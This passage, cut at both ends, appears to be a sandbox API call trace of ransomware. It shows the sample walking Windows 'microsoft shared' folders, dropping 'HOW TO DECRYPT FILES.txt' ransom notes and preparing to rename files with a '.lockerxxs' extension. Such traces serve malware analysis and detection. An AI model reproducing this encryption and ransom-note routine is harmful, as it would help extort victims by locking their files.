lpString2="OPHPROXY.DLL") returned -1 [0076.398] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\*.*") returned="*.*" [0076.398] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" [0076.398] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="" [0076.398] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" [0076.398] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\how to decrypt files.txt")) returned 0x20 [0076.398] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="OPHPROXY.DLL" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\OPHPROXY.DLL") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\OPHPROXY.DLL" [0076.399] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\OPHPROXY.DLL", pszSpec="*.ems") returned 0 [0076.399] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32421600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xae0a2c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x32421600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x14db68, dwReserved0=0x740078, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0076.399] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.399] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RICHED20.DLL") returned -1 [0076.399] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RICHED20.DLL") returned -1 [0076.399] lstrcmpiA (lpString1="", lpString2="RICHED20.DLL") returned -1 [0076.399] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\OPHPROXY.DLL") returned="OPHPROXY.DLL" [0076.399] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" [0076.399] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\") returned="" [0076.399] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" [0076.399] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\how to decrypt files.txt")) returned 0x20 [0076.399] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\", lpString2="RICHED20.DLL" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\RICHED20.DLL") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\RICHED20.DLL" [0076.399] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\RICHED20.DLL", pszSpec="*.ems") returned 0 [0076.399] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32421600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xae0a2c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x32421600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x14db68, dwReserved0=0x740078, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 0 [0076.399] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.400] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf4bfa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Portal", cAlternateFileName="")) returned 1 [0076.400] lstrcmpA (lpString1=".", lpString2="Portal") returned -1 [0076.400] lstrcmpA (lpString1="..", lpString2="Portal") returned -1 [0076.400] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.400] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Portal" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal" [0076.400] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf4bfa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.401] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.401] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf4bfa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.401] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.401] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.401] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeefe5e10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0076.401] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0076.401] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0076.401] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\*.*") returned="*.*" [0076.401] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\", lpString2="1033" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033" [0076.401] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeefe5e10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.402] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.402] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeefe5e10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0076.402] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.402] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.402] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e9d00, ftCreationTime.dwHighDateTime=0x1ca912d, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc77e9d00, ftLastWriteTime.dwHighDateTime=0x1ca912d, nFileSizeHigh=0x0, nFileSizeLow=0x43a0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0076.402] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.402] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PortalConnect.dll") returned -1 [0076.402] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PortalConnect.dll") returned -1 [0076.402] lstrcmpiA (lpString1="", lpString2="PortalConnect.dll") returned -1 [0076.402] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\*.*") returned="*.*" [0076.402] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\" [0076.402] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\") returned="" [0076.402] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\HOW TO DECRYPT FILES.txt" [0076.402] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal\\1033\\how to decrypt files.txt")) returned 0xffffffff [0076.402] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal\\1033\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.404] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.404] CloseHandle (hObject=0x90) returned 1 [0076.405] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\", lpString2="PortalConnect.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\PortalConnect.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\PortalConnect.dll" [0076.405] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\PortalConnect.dll", pszSpec="*.ems") returned 0 [0076.405] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e9d00, ftCreationTime.dwHighDateTime=0x1ca912d, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc77e9d00, ftLastWriteTime.dwHighDateTime=0x1ca912d, nFileSizeHigh=0x0, nFileSizeLow=0x43a0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="PORTAL~1.DLL")) returned 0 [0076.405] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.405] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bdf7300, ftCreationTime.dwHighDateTime=0x1cb7004, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bdf7300, ftLastWriteTime.dwHighDateTime=0x1cb7004, nFileSizeHigh=0x0, nFileSizeLow=0x87180, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0076.405] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.405] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PortalConnectCore.dll") returned -1 [0076.405] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PortalConnectCore.dll") returned -1 [0076.405] lstrcmpiA (lpString1="", lpString2="PortalConnectCore.dll") returned -1 [0076.405] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\*.*") returned="*.*" [0076.405] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\" [0076.405] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\") returned="" [0076.405] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\HOW TO DECRYPT FILES.txt" [0076.406] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal\\how to decrypt files.txt")) returned 0xffffffff [0076.406] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0076.407] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.407] CloseHandle (hObject=0x8c) returned 1 [0076.408] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\", lpString2="PortalConnectCore.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\PortalConnectCore.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\PortalConnectCore.dll" [0076.408] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\PortalConnectCore.dll", pszSpec="*.ems") returned 0 [0076.408] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bdf7300, ftCreationTime.dwHighDateTime=0x1cb7004, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bdf7300, ftLastWriteTime.dwHighDateTime=0x1cb7004, nFileSizeHigh=0x0, nFileSizeLow=0x87180, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 0 [0076.408] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0076.408] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8132bc53, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8132bc53, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0076.408] lstrcmpA (lpString1=".", lpString2="Stationery") returned -1 [0076.408] lstrcmpA (lpString1="..", lpString2="Stationery") returned -1 [0076.408] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.409] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="Stationery" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery" [0076.409] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8132bc53, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8132bc53, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.411] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.411] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8132bc53, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8132bc53, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.411] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.411] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.411] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42146c84, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42146c84, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41e4d104, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0076.411] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.411] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Bears.htm") returned 1 [0076.411] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Bears.htm") returned 1 [0076.411] lstrcmpiA (lpString1="", lpString2="Bears.htm") returned -1 [0076.411] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\*.*") returned="*.*" [0076.411] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.411] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.411] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.411] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0xffffffff [0076.411] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0076.413] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.413] CloseHandle (hObject=0x8c) returned 1 [0076.414] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Bears.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm" [0076.414] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", pszSpec="*.ems") returned 0 [0076.414] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm" [0076.414] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm" [0076.414] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm." [0076.414] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm.lockerxxs" [0076.414] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.414] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x8267651c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0076.414] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.414] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Bears.jpg") returned 1 [0076.415] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Bears.jpg") returned 1 [0076.415] lstrcmpiA (lpString1="", lpString2="Bears.jpg") returned -1 [0076.415] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned="Bears.htm" [0076.415] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.415] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.415] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files 